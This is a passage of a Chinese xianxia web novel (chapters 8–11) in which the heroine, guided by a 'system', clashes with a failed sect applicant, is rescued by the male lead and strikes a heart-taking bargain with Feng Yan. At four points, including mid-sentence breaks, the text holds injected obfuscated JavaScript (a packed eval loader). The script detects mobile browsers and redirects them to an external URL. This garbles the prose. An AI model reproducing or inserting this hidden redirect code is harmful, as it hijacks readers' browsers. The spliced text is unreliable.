脚步声渐渐逼近,人影距她藏身之处仅有一步之遥时,阮清木看清了映在地上的影子,她陡然迎着往前探出身子,一手利落地擒住来人的肩膀,速度快得令对方瞬间惊住,直接被按在树上。
那人“哎哟”一声重重地往后倒去,是方才收徒大会那个和他搭话的周明远。
周明远扶住树干才没摔倒在地,先是被阮清木的突脸吓了一大跳,又险些被她一个身板瘦弱的姑娘推飞,他喘着粗气,缓了好久才缓过神。
“你干嘛鬼鬼祟祟地跟着我?”阮清木问道。
周明远捂着心口,长舒一口气:“我……我看着背影像你又不确定,就跟在你身后走了一会。”差点又一口气没上来,“……你,你这手劲怎么这么大?”
他扶着树缓缓靠着坐下,一脸的愁容,身上雪白的锦袍衣角瞬间被树干擦出污尘,但他没心情在意,撑着脸看着河边。
“我没过考核,没脸回家了。”
“这是我第三次来云霄宗的收徒大会了,三次,也是最后一次。”
“最后一次。”他神色沉痛。
阮清木离他不远地站着,她瞥了一眼毫无精气神的周明远,没敢吭声,因为她个关系户没资格说话。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128505|180167||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
周明远起伏的胸膛逐渐平复了下来,喃喃自语道:“我自小便跟着师父学习道法,放着锦衣玉食的生活都不过,就只跟着师父从早到晚的画符修行,一日不曾落下。虽然师父也说过我资质较那些天才要差一些,可师父一直教我勤能补拙。所以我就没日没夜地修炼,炼到被自己的灵力反噬到吐血都不曾缺过一天。”
“可是有用吗?”
还不是连云霄宗的门槛都摸不上。
他问道:“我很差劲吗?实力真的很弱吗?”
阮清木其实很能共情他的感受,那种天生就比别人差了气运的人这辈子都不懂为什么自己明明那么努力了还不是不够,因为差的根本就不是努力,是命。
现如今她明明没有灵根却混进了仙门,别说对人家安慰,她连共情人家的资格都没有。拿了便宜就应该老实地闭嘴。
她摇了摇头:“你不差。”
似乎是对她的回答不满意,周明远冷笑一声:“是吗?”他扭过头斜眼盯着阮清木,“那和你比呢?”
阮清木感受到周明远的情绪,虽然语气上冷静了不少,但他眼中的悲愤分毫不差地落在她的身上。他在找一个情绪的宣泄口,而阮清木则是他想宣泄的对象。
“和我比,你也不差。”阮清木回道。
他似乎是想了想,又道:“是吗?那为何我没通过,你过了?”
周明远怔神地望着远处,不知在寻思什么。
“我时常会想,如若将你们这批通过考核的人都杀了,是不是就能轮到我了?”
阮清木有点后悔沾惹上这么个精神病了。
“方才在映晖台时,你就避而不提自己的灵根和修为。”
周明远缓缓回过头,死盯着阮清木,“为何?是不敢说?”
他逐渐激动起来,退去血色的脸孔也变得狰狞:“你,到底是什么灵根?又是何修为?”
阮清木算是明白他为什么会修炼到吐血反噬了。短短几句话的时间,周明远就好像被夺舍了一般,双目浮现血丝。
虽然她对修行还处于摸索阶段,但周明远这个样子,任任谁看都像是走火入魔了。
而且很有可能仙门将他拒之门外的原因就是这个,他体内灵脉因为修炼过头已变得混乱不堪。
“你为什么不回答?”周明远被她默不作声的样子逼得更怒了,他起身,手中已运起灵力,攻势凌厉直奔着她袭去。
阮清木向后撤去一步,灵力早已与身后的巨树相连,早在她还躲在树后时就提前准备了这一手。
她凝神将地面上盘根错节的树根挑起,周明远此时的注意力全在阮清木身上,根本没看到脚下位置早就被层层树根圈起。
周明远脚下被如藤蔓般的树根猛然缠住,他心下一惊,却反应也十分机敏。攻势瞬间调转方向,灵力将树根斩断。旋即他扶住树干,脚下发力从树根中挣脱,带着杀招的手径直抓向阮清木的脖颈。
几道如刀尖般锐利的树枝悬停在周明远的背后,阮清木几乎没有时间思考,刺下,他死。不刺,死的就是她。
犹豫间,一道湖青色身影闪过,但刀影般的树枝已经狠狠地刺了下来。
来不及收回了。
8. 第 8 章
阮清木没想到会在这种时刻出现系统弹窗。
湖青色身影轻盈得似流水中骤然溅起的水花,映在阮清木的眸中,可下一秒的系统弹窗忽然出现,四周陷入一阵死寂,时间静止。
面板上弹出一行字【男主温疏良已出场】,同时机械系统女声在阮清木脑中响起:“触发恶女任务,宿主需引起温疏良的注意,装柔弱让他一眼记住你。”
面板消失的提示音响起,阮清木方才被周明远逼得猛然倒退几步,但因系统突然出现,所以她一只腿悬在半空,重心全仰在身后。
时停消失,她失去重心向后跌去,那如剑锋般锐利的树枝已失了灵力,恢复如常。眨眼间,周明远的手就抓到了阮清木的脖颈,她脖间陡然一痛。
根本一秒都不用演的,全被系统安排完了。
温疏良扶住她的后腰,身法快到让人看不清动作,一脚便将周明远踢了出去,力度掌握得极好,周明远在地上滚了几圈便失去意识晕死过去。
只是脚下的树根被阮清木搞得乱成一团,温疏良一时竟也被绊了一下,加之跌在他怀中的阮清木,二人就这么交叠地倒在了地上。
阮清木:“……”
这系统简直就是来添乱的!
她慌乱中抬起头,温疏良已撑起半身,“姑娘没伤到吧?”
一张朗目疏眉,庭如满月的脸,像从话本走出一般,活脱脱的正义男主的气场,和云渡珩一样,出场就自带光环。
见阮清木直直盯着他,温疏良歉意地笑了声:“姑娘?”
阮清木这才发觉手背有些灼痛感,方才跌倒时擦出了一片血痕。
想起系统刚出的任务,她低头将魅术施出,声音轻颤:“对不起。”
温疏良注意到她微抖的右手,正轻攥着他的袖边,手背伤口磨得渗出血珠,虽然将头埋得很低,但仍能看见她泛红的眼尾。
看起来是被吓得不轻。
他想安抚一下,正欲伸手轻拍阮清木的背,谁料一只手拦在他面前,修长手指握住阮清木的腕骨,伴随着漠然的声音响起:“师兄出手真是利落啊。”
熟悉的嗓音和腕骨间不容她挣脱的力道,惊得阮清木陡然一颤。
她抬起头,风宴正似笑非笑地望着她,眸低似深潭一般。他一身云锦白袍的修士服,翩然若雪,俯身时挽起的墨发自然垂下,风流蕴藉如水墨丹青,似冬日里忽然沿窗闯入的一枝白梅。
阮清木看着他一时竟说不出话来,怎么每次她用魅术的时候,都会被他看到啊?
他眉梢微挑,将阮清木从温疏良的怀中拉起,眼角余光不经意地从她脖间扫过,瞥见几道惹眼的红痕。
温疏良也起身,“这便是你那个表妹吗?昨日就听珩儿与我提起,没想到会以这种方式和令妹见面。“
阮清木喉咙一紧,她瞥了眼风宴,正对上也那双也看着她的双眸。
“既然过了考核,为何不回寝居?要是我和师兄没有路过,你不就成了孤魂野鬼了?”风宴居高临下地望着她。
孤魂野鬼……他记性倒是很好。
阮清木仍是一副惶恐的神色,温疏良提她解围道:“自然是因为初到云霄宗,对仙门新奇罢了。只是看样子,姑娘是与那伤你之人认识?”
他们三人这才一同重新注意到在地上躺了多时的周明远。
“只是方才在收徒大会上说过几句话。”阮清木回道,“他没过考核,情绪激动所以出手伤人了。”
温疏良闻言,只点了点头:“最近整个仙门的灵脉都有异常,各修士都多少被影响得灵息混乱,估计他也是受此影响。无妨,我来处理此事,姑娘莫要担心。”
说着他便示意风宴先将她带走。
只是阮清木没动。
因为任务还没完成呢。
手腕还被风宴握着,他轻拽了阮清木一下,但她站在原地踌躇,不肯离开。
温疏良问:“可还有什么事?”
“师兄……你要小心,他可能走火入魔了。”阮清木拖延着时间,“他说,曾经没日没夜地修炼导致自己几次吐血被反噬,方才也不过是说了几句话,就变成这副模样了。”
温疏良眉心蹙起:“好,我知晓了。”
他朝周明远走去,结果下一秒衣袖被扯住。
“还有,还有他其实人不坏,只是对仙门的执念太重,加之最近灵脉不稳,所以才被心魔控制。”她拽着温疏良的衣角,小声嘱咐着。
“好,姑娘说的在下都记住了。还有吗?”
阮清木:“没了……”
风宴手中力道加重,想将阮清木拽过来,可是谁料她竟站在原地和他较劲。
这提示音怎么还不响啊!
风宴的耐心显然已经耗尽,他刚上前一步,阮清木瞬间两腿一软,跪坐在地。
她仰头看向温疏良,摸着自己的脖子,“其实我是走不动了,我吓得腿软了,头也晕,脖子也疼……”
快响啊快记住她啊!
见阮清木跪坐在他脚边,温疏良一瞬地迟疑,思量过后,他俯下身来,“既然如此,那在下先带姑娘去药堂吧。”
可他一下秒便被风宴拦住,风宴好整以暇地看着阮清木,淡淡道:“师兄还是先处理要事吧,我带她去就好。”
“……”
风宴半蹲下来,竟双手将她抱起。
阮清木觉得自己呼吸都骤停了。
搂在她背后的手依旧像死人一样凉,让她想起那夜在庙中被恶鬼缠身的场面。
眼下这情况和当时比也没什么区别了。
她上半身几近僵直,眸中也掩盖不住的震惊,甚至不知道双手应该放在哪里,鼻间萦绕着风宴身上的冷檀香气。
风宴将她打横抱起后,和温疏良眼神示意了一下便离开了。
温疏良见二人之间的行为和阮清木的反应,不自觉地多看了他们几眼。总感觉怪怪的,这俩人真的是表兄妹吗?
与此同时阮清木的脑中忽然出现系统提示音:“恭喜宿主,任务完成。”
“……”
风宴一直将她抱到没人的角落处才将她放下。脚尖触地时,阮清木才反应过来自己刚才好像听见任务成功的提示音了。
她长舒一口气,片刻的寂静后,她又想起身后那视线不曾对她移开半分的风宴。
“你想进云霄宗的目的,就是他吗?”
阮清木不知该如何回答这个问题,其实不太算是,但也有点这个原因。
风宴极轻地笑了一声:“你想做什么与我无关,我也毫不关心。”
“留你一命是因为你先前和我说的交易。”他顿了顿,“不是双
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128506|180167||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
生魂契。”
阮清木回过身,“要我做什么呢?”
风宴向她逼近一步,眸光却如利刃扫在她身上,像是伺机而动的毒蛇。
“你可以取心为己用,自然也可为他人所用。”
阮清木只觉心口处的半颗心好似被揪住一般,一种窒息感。
骤然间凉风四起,脚下几片残枝败叶被风吹起,发出窸窣声响,如同毒蛇贴地游走,又似爬在她的身上,阴冷气自下而上的缠住她的脚踝,再是大腿,随即顺着她的腰身向上攀附,最后缠绕她的脖颈。
“你的寿元对我没有用处。”
她猜对了,那夜他就是假死。
“所以,帮我取心。”
常人取心,那心脏取出来就是个血淋淋的死物,没用。
可阮清木每取出那些晶莹靓丽的心脏,上面都充沛着原主的所有修为和灵力。
这只有她这棵木头可以做到。
“可以。”阮清木道。
“但我只有一个要求。”她平静地望着风宴,“我只取死人心。”
虽然四肢百骸都如坠冰窟,但她却平静得诡异。
风宴低笑一声:“成交。”
不知是不是错觉,围绕在她身上那种寒意瞬间消失了。她晃了晃有些发麻的手臂,“表哥。”
风宴一下怔住,“说了不许叫我表哥。”
阮清木皱起眉道:“不是说带我去药堂吗?还去不去了?”她抬起手,给他看手背上的红痕,“这还挂着血呢。”
她又指了指脖子,“还有这,上次的伤还没好全呢,又来一下。”莹白的脖颈带着几道绯红的血痕,显得她脖间青脉更加惹眼。
风宴挪开视线,漠然道:“走吧。”
他带着阮清木往药堂走着,二人踏在青石路上沉默无言。阮清木手里抱着刚给她发的修士服,忽然想起了什么。
“表哥?”
“再喊我表哥就杀了你。”
阮清木皱眉:“不喊表哥那喊什么?”
她想了想,又道:“师兄?”
风宴:“……”
阮清木在他身侧偷瞄打量着他,看见他的脸色已经冷到了极点。
既然他不爽,那就轮到她的嘴角翘起了。
“我在仙门的学费是师兄你给我交的吗?”阮清木还在发力。
“不是。”轻描淡写的两个字。
“哦,是吗?”阮清木抖了抖手中的纸条,“可是这学费凭证上面的落款是师兄住的星隐阁呢。”
“……”
“是录名阁他们擅自从我这扣的灵石,交了多少记得把凭证收好,到时候一并还我。”他侧过头,“缺一分都不行。”
“师兄好凶……”
阮清木眼睁睁地看见风宴的身子不被人察觉地抖了一下。
“明明知道我没有钱,我拿什么还。不如我现在就回去把这学费退了罢。”她转身佯装就要回去。
一瞬间,那种蚀骨的寒意又出现了,贴着她的脊背,缠住了她的身子。
玩过了。
风宴停下脚步,回过头笑盯着她,似乎真的在等她转身回去。
“不退了,表哥给我费心交学费,我怎么能把它退了呢。”
“谢谢表哥师兄~”
风宴:“……”
9. 第 9 章
在云霄宗上课的第一天,何言拉着阮清木在仙孰学堂中的一个角落坐下。
阮清木仍游离在外,心思全不在学堂上。今早上,风宴从她屋子里淡然走出时刚好被何言撞见,被她叽叽咕咕笑了很久。
原本她昨天被风宴送回住处后,很早便歇下了。为了防止自己又莫名其妙地出现在风宴的房间,所以在睡前,她特意把自己的手捆在了床头。
绑的那叫个结结实实。
结果就是清晨一睁眼就看见风宴侧躺在她床上,撑着头正斜眼睨着她。骨节分明的指间把玩着不知何时出现的小白蛇,正怼在她脸旁。
好似觉得她把自己手捆在床上的行为特别愚蠢,他一脸的嘲笑模样。
阮清木:“……”真没招了。
何言坐在她身旁不经意地怼了她一下,她这才回过神来。
原本他们应是按照入学年份来上课的,本不应该和何言在一堂课上出现。但何言今年的仙门考核的成绩不太好,所以她需跟着新生重修一年。如若下次考核还是不行,就要被发配去做外门弟子了。
一下子和原本同期的弟子们分开,何言只好抓着阮清木一起去上课。
至于昨日忽然发了狂对阮清木出手的周明远,云霄宗先暂将他安排做了外门弟子。
何言同她讲,虽然他确有走火入魔的倾向,但不至于无法自控,归根结底还是因为仙门近期灵脉异常。既然是仙门责任更大,便将他留下且做个外门弟子。
云霄宗在玄虞州的东境日出之地,灵脉如群山般环绕,原本一直风平浪静,但近有风声说仙门地下有棵万年神树上的灵息有所异变,才导致云霄宗上下灵脉都混乱不堪。
阮清木懵懂听着,忍不住打断:“你这是云霄宗的情报站吗?什么消息都会从你这过一手?”
何言没否认地笑了笑,颇为得意:“算是吧。”
离她们较远的长老在台上授课,阮清木分神地听着。那长老身着雪白的宽大袖袍,周身还笼罩一层金色流光,应是用了某种传声术法,即使相隔很远,每个弟子也能听清他的声音。
讲的内容是教他们学习如何挑选出自己的本命剑,大多数的修士会寻求珍世奇材,专门铸造一把。当然也有人愿意花重金直接求世间名剑,作为己用。
长老自顾自言道:“只不过要想更好地与自己的剑融合,让它成为你的本命剑,还是自己亲自打造一把更为合适。”
“你知道我们仙门剑术第一是谁吗?”何言凑了过来,贴在她耳边问道。
阮清木思量一瞬,“温疏良?”
何言忽然来了精神:“你喜欢他?”
“怎么就突然喜欢他了?”阮清木倏地一惊,差点溢出冷汗来。
“那你为什么猜他呀?”何言双眸有神地看着她。
他不是龙傲天男主吗?阮清木揉了揉额间,龙傲天男主是剑术第一没什么问题啊。
“是宁雪辞。”看她也猜不出来,何言索性直接说了。
阮清木对这个名字很是熟悉,“就是我们那位师尊?”
何言摇了摇头,压低了声音:“其实不然,现如今只是挂名罢了。早年时宁雪辞和祝奇徽因谁是剑术第一争了很久,直到宁雪辞忽然对外宣称要闭关,就再也没出来过,几十年来都在专注于自己的破境修行。”
“据说就连在仙门待了十年以上的修士都没见过宁雪辞一眼。”
“但我觉得,宁雪辞应该更胜一筹。”
阮清木:“为什么?不是都没见过他本人吗?”
何言:“直觉,这个名字更讨我喜欢。”
此时,位于前排的长老突然朝阮清木这边投来视线,何言立马识趣噤声,二人各自分开。
阮清木沿桌撑起下巴,目光扫见仙孰学堂外的花海,有一搭没一搭地听着前面长老的讲学。
长老提到了五行灵根,阮清木留神仔细听了一下。
天地于混沌之时生于五行,至此天地之间自然循环,相生相克。众生自诞生之时,皆具五行之性,是谓为五灵根。但因各人之间悟性不同,有人会悟出与自己本命最为契合的元素,进而将其发展为极致。
单灵根的修士之所以被认为天资卓越者,也是因为这些人比常人更了解自己的灵息,能尽展所长。
通俗讲就是单灵根的修士身上也是五行皆全,只不过将一种元素开发到了极致。
阮清木更好奇像她这种木头的构造是什么样的。
一旁的何言正埋头奋笔疾书地抄记着,也不知她面前那个本子是什么时候掏出来的,神色异常得专注。
只是这么基础的内容,她应该早就知晓,有必要记到这种程度吗?
阮清木好奇地瞥了一眼。
【云渡珩如一叶柳枝般倒在地上,炎昀几分薄凉地将手抚在她的身上,“女人,你早晚会是我的。”云渡珩眼中带泪一巴掌扇了过去,炎昀却将另一边脸凑了过去,“再来。”……】
?
炎昀……那不是测他灵根,雨夜中又帮她做伪证的少年吗。
当阮清木反应过来自己看了什么的时候已经来不及了。
察觉到阮清木凑过来的身子,何言将本子直接放到她面前,“要看吗?”
“这什么乱七八糟的?”阮清木抬眼见长老没注意到这边,直接将话本推了回去。
何言啧了一声:“大惊小怪的,其他人找我借阅还得花钱呢,这是创作。”
她将话本拿过去接着上一段继续写了,满眼都是最自己创作的欣赏。
又过了许久,学堂内的弟子都纷纷起身离开,阮清木才发觉这节课已经结束了。刚要跟着众人一起离开,何言一把将她拉住,“等一下,来灵感了,等我写完这段咱们再走。”
阮清木只好又坐了回去,她回忆起炎昀的样貌,不过才十三四岁的小孩子,和云渡珩……
“炎昀这年龄不合适吧?”她小声道。
“你以为他多大?”何言睨了她一眼。
“十三四?”
何言摇了摇头,“他比较特殊,是灵族,也就是说他的真身不是人,是活了百年的一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128507|180167||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
只灵兽,当年是被云渡珩捡回来的。至于现在这个样貌嘛……”她摇了摇头,“我也不知道他为何要以孩童的样子示人。”
灵族,那不是同她一样吗。她指尖不经意地敲着桌边。
仙孰学堂两侧是长廊,偶尔来往几个修士,绕过一大片花海便是个巨大的水塘,水塘之上是两座如高台般的水阁。
水阁中一道熟悉的颀长身影落于阮清木的眸中。
风宴一身利落的雪白衣衫,不知道为何明明就是普通的修士服,但他穿白衣却格外的惹眼,腰间淡蓝色的束腰将他的劲瘦的腰身勾勒得恰到好处。
阮清木想到他总是把玩的小白蛇。
莫非他的真身就是一条白蛇?
风宴在远处的水阁中望着她,察觉到视线交接,他微微侧头。他好像也很喜欢侧头这个动作,那种如同动物般下意识的动作。
不知道他在这里看了她多久了。
一旁的何言头也没抬地忽然开口:“我觉得温疏良行。”
“嗯?”阮清木疑惑,“什么行?”
何言手中奋笔疾书没停下来半分,“我是说,我觉得你和温疏良比较配。”
真是莫名其妙的,阮清木反应了一会,“你不会是在暗示我,下一本要把我当主角去写吧?”
何言笑而不语,阮清木看着她那勾起的嘴角无奈地回过头。
风宴仍在远处望着她。
“不过你方才猜的也没什么大问题。虽然温疏良现在不是第一,但那是迟早的事,现下云霄宗属他名声最大。”她顿了顿,“他的修为已经比很多还在授课的长老们要高了,如此年轻有为。”
“而且他剑术不仅厉害,招式还漂亮,有人说他都是半夜偷练,故意练出来的。”
她又补了一句:“比你那个表哥强多了。”表哥二字还刻意拖了长音。
阮清木简直摸不清头脑,“怎么就突然扯到这了?”
她这才注意到风宴的肩头好像堆了一层落花,应是站在水阁中有一段时间了。
“风宴无心修炼啊,他虽然资质很强,但平日在仙门中与那些刻苦的弟子相比,风宴简直算是不学无术,整日游手好闲,对自己的修为毫不上心。”
是吗?阮清木也将头轻轻歪至一侧,和远处的风宴遥遥相望,仿佛在回应他。
“他剑道也不行,那剑让他用的,小孩拿节木棍都比他耍得好。”
阮清木差点笑出声来,泠风吹过,落花纷飞,风宴用来束发的湖青色发带被吹至脖间,似乎在疑惑阮清木在笑什么,他眉心蹙起。
“可以这么说,他在剑术方面不仅没有天赋,还不勤加练习,哪有剑修像他那样,没啥前途。”
阮清木想起初遇那晚,他于破庙之中外泄四散开来的灵压。
剑术很烂,不学无术吗?
她唇齿开合,笑对着风宴无声开口:“我、不、信。”
胸口处的半颗心好似一瞬间漏跳了一拍。风起时,旋于空中的落花大片砸下,遮挡住风宴,下一秒他人影已不见踪迹。
10. 第 10 章
阮清木一直陪何言创作她的小说,直到下半日才从仙孰学堂中出来。
刚穿过学堂旁的长廊,就有两个如花似玉的女修士对着何言围了上来。三人之间彼此眼神示意,何言将方才赶出来的话本子塞到二人的手中,对方一人掏出一颗灵石交于何言。
“到明日傍晚前还我哈。”何言嘱咐道。
“这还用你说,走了。”其中一位女修士扬了扬眉毛,和另一位结伴匆匆离开。
“真有人花钱看?”阮清木在一旁看着这几人的操作不禁叹道。
“骗你干嘛?”何言收好灵石,“这都是上个月就来找我排的,现在才轮到。”
何言带她逛着云霄宗,顺便去一趟藏书阁借几本参考文献。一路上偶有几名修士从她们身旁经过,总会紧盯阮清木几眼。
“你被温疏良英雄救美了,这事稍微传开了一些。”何言解释道,“等我下一本写到你,你会更红的。”
阮清木:……可以婉拒吗?
滴的一声,系统声再次响起。她皱起眉,这任务来得也太勤了点。
面板上给她显示了一个位置,任务是让她送温疏良一副剑穗以谢前番的救命之恩。正疑惑要上哪去搞个剑穗,手中蓦然闪烁点点灵光,一副墨青色的剑穗落于她的手中。
样式略为普通,盘在剑穗上的长结甚至有些凌乱,看起来像是临时赶制,且手工水平还很一般。
阮清木反应过来,好像就是故意要表现出是她手作的样子。
可这未免太细节了点……
扫了一眼面板上的位置,是洵青境。这位置有些耳熟,想起来上次和云渡珩碰面时曾听她提过,若有事,可去洵青境找她。
系统这是要让她当着云渡珩的面把剑穗送出……
且洵青境与何言要去的藏书阁是两个方向,正思索着,何言一眼就瞥见她握在手中的剑穗。
“这东西哪里来的?”她立马来了兴致,“要给谁呀?”而后她又想起阮清木方才在她身侧张望的模样。
“哦~给你温师兄的吧,对他略表言谢之情。”何言一副她都懂的神情。
阮清木实在是怕了她这八卦的劲,她连忙正色道:“不是。”
反正温疏良能不能收下都不一定,就算收了也必然不会戴出来,她随便说个人又有谁会知道。
再者她实在是不想成为何言的写作素材。
“是给我表哥的,我方才在前面那街角看见他身影,本以为能与他对面碰上直接交给他,谁承想他又转个方向走远了。”
她悄然收起剑穗,柔声道:“我先去追我表哥了。”
何言欲要再说些什么,阮清木灵巧地转身提起裙子就小跑了起来。
表哥这块砖很多时候还是蛮好用的。
面板上显示着洵青境的位置,她往回走着,还要再重新穿过学堂的那条长廊。
此时已不是上课的时间,学堂内空无一人。
两旁的高树被风吹得簌簌作响,她衣摆飘荡,花海中几瓣落花垂落到她肩头,忽让阮清木想起风宴方才与她隔着花海相望的样子。
说不定他现在又躲在什么地方看着她,反正每次她要去做任务,都会被他撞见。
她撩起悬挂在上的帘挂,刚踏上青石阶,刹那间一股灵压袭来,空间骤然扭曲。
阮清木陡然心中一紧,连忙停下脚步,可面前的长廊已然消失不见,这股灵压一时将她挤迫得难以呼吸。
再回过神来,已身处于一片空旷死寂的无边空地。
阮清木怔在原地,神色骤变,她谨慎地环视一周,这无边的空地之上死一般沉寂,方才掉过在她肩头的落花无声地滑落,坠在地上转眼间便消散。
她被拉入了另一个空间。
阮清木尝试往前走了几步,但在此空间之中根本无法分辨任何方向,四周仿佛没有尽头般无限延伸。
会是谁?
她刚与何言分开便被人拉入这个结界之中,显然对方早就盯上了她,就等着她独自一人的时机下手。
来云霄宗不过短短数日,她唯一“得罪”过的人,就是那日对着她忽然发疯的周明远。
“真是个废物。”
“你果然很弱,实力差到如此地步,连这种程度的结界都无法抽身。”一声嗤笑,周明远自虚空之中现身在阮清木的身后。
阮清木回身,正看见周明远拧眉狠厉地盯着她,眼底间全是鄙夷和怒意。
系统提醒她任务进度的提示音在脑中响起,面板上洵青境的位置开始闪烁,大概是温疏良即将移身去别处,系统在催促她。
“我好像并没有招惹你,为何一直抓着我不放?”阮清木问道。
她对自己的灵力尚且都掌握得不太熟练,更不要说破阵这种高阶的术法。但周明远挂于脸上的神色,看起来也不像会放她走的样子。
可是要没有时间了。
周明远扯了扯嘴角,“放心,我不会杀你的,毕竟录名阁已将你记为云霄宗的内门弟子。若你死了,云霄宗必会追查,于我没有好处。”
他踱步走来,自体内散开的灵压逐渐逼近阮清木,“只要你能证明自己实力在我之上,我便就此作罢。”
“或者你实在不想与我较量,那就让我一探你的灵根,如若天资也远超于我,我立刻就滚,绝不多言。”
他手中灵力萦绕,“如何?你选一个就好。”
面板上洵青境位置的亮光更加频繁地闪烁,阮清木有些急躁,“你先等我半个时辰行吗?我真的有急事。”
等她先把这个破剑穗送了随你怎么闹行不行。
周明远的脸上更加鄙夷,一副就算你想逃怎么也不想个好点的理由的表情,他嗤笑道:“没有这个选项。”
“若换做普通修士,面对这种低阶术法的结界,随便掐个诀就能轻松破解,真不知道你背地里使了什么勾当,竟能让云霄宗收下你这种废物。”
凛冽的气氛中,阮清木冷冷地看着他。
上次如果不是系统突然弹出时停,搞得她灵力被阻断,才不得不接下他那带着杀招的一掌,导致她现在扭动脖子时还扯着疼。若没有温疏良出现,说不准真被他杀了。
现下又是这幅疯子模样,一会难保不会对她出手。
系统音还在警告着,她心中早已烦躁到了极点。但显然眼下没有任何一个方法能让她立刻逃出这个结界。
既然走不了。
“只有这两个选项?”她问道。
他语气嚣张得开口:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128508|180167||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
或者你去录名阁将自己除名,也可。”
忍住,她深吸一口气,缓缓低下头,“那你来测我的灵根吧。”
周明远往前走着的步子陡然停住,显然没有想到她居然会同意。他眼神质疑着,好似在怀疑她打了什么鬼主意。
阮清木抬起头,眼眶泛红地望着他,“像我这种资质平平的人就该坐天之骄子的垫脚石,我原本就不该妄想,是我错了。”
两滴泪顺着她脸颊滑落,魅术近日来用得是越来越得心应手。
周明远却迟疑了。
那日收徒大会上他便是见到她一人落寞站在台上,茫然无措,看着就不是个修仙的料,他鬼使神差下意识去搭话。
是刻意为之。
因为多次被云霄宗拒之门外,他逐渐抬不起头来,和原先的好友之间差距也越来越大,胜负欲让他变得扭曲,可是又无处发泄,因为根本就没有让他站在高处的机会。
最后一次参加云霄宗的收徒考核,他看到了阮清木。
在她身上他找到了好久未曾有过的虚荣感,那种对低阶修士高高在上的伪善般的怜悯,以及强者才配有的优越。
他真的很久没有体会到这种滋味了。
可是转眼间他居然又没通过考核,更让他讶异的是,阮清木居然过了。
多年积压的怨念终于爆发了,他跟在阮清木身后,恨不得将她挫骨扬灰。像阮清木这样的弱者就应该被他肆意嘲讽欺凌才对啊。
好像分不清自己究竟是对云霄宗的执念太深,还是对玩弄弱者的渴望太重。
不,这不冲突,他看着阮清木羞愤的神情,竟徒生一丝快感。是了,就是这种感觉,上位者对脚下之人的蔑视的爽意。
他笑出声来:“你能这么想,看来还不是太笨。”
如果能将她如一只蚂蚁般轻松碾死,那就更好了。
阮清木点了点头,“对,所以求求你测完就放过我,好吗?”
周明远向她走去,他指尖轻运灵力,甚至不屑让自己整只手都覆满灵力。
她不配。
站定在她身前,本想再羞辱她几句,但又对这种蝼蚁实在是懒得再废口舌。
他冷笑着,将手向阮清木的后颈探去。
任务失败的提示音自阮清木脑中响起,她心如死灰地闭上双眼,下一秒她爆发出的灵力直接锤在周明远的胸口,旋即猛地掐住了周明远的脖子,掌间狠狠发力。
窒息感猛然间袭来,周明远立刻结出几层防御术法,可几乎一瞬间他的防御术竟然全破。
怎么……可能!
强大的灵压自阮清木体内轰然四散开来,周围平地袭起飓风。
阮清木面无表情地抡起他径直向后丢去,周明远重重地摔在无形的屏障之上,跌落在地。脏腑因被强大的灵力挤迫得受了重创,他呕出一口血来。
不……不对。
他不可置信地在地上蜷缩着,不可能,她方才出手的灵压远远在他之上,她的修为实力……是碾压于他!
可是,可是怎么可能?
甚至……是他十年,五十年,百年都追不上的程度。
阮清木无力地垂下眼睫,盯着面板上赫然提示着四个字。
“任务失败”
11. 第 11 章
周明远胸间猛地一痛,又是一口血呛出,他倒在地上大口喘息着。
眼前还在不断地闪回方才阮清木出手的动作,没有什么章法可言,完全就是对他随意出招,可是那一瞬间迸发出的灵力,实在太恐怖了。
这般修为,杀他简直如碾蝼蚁。
阮清木无言地盯着“任务失败”四个字,强压下心中的怒意,瞥了一眼躺在地上差点断气的周明远,她只好先将面板收回。
她俯身半蹲下来,周明远往后猛爬了几下,身子斜靠在无形屏障上,满眼的恐惧。
“别……别来了,我认输。”
他企图捏诀将防御屏障设在自己和阮清木之间,却因体内灵脉已然受损,几次也没能成功。
周明远几缕血线挂在嘴边,阮清木见他这幅模样有些担忧,可别因为被她捶一拳就这么死了。
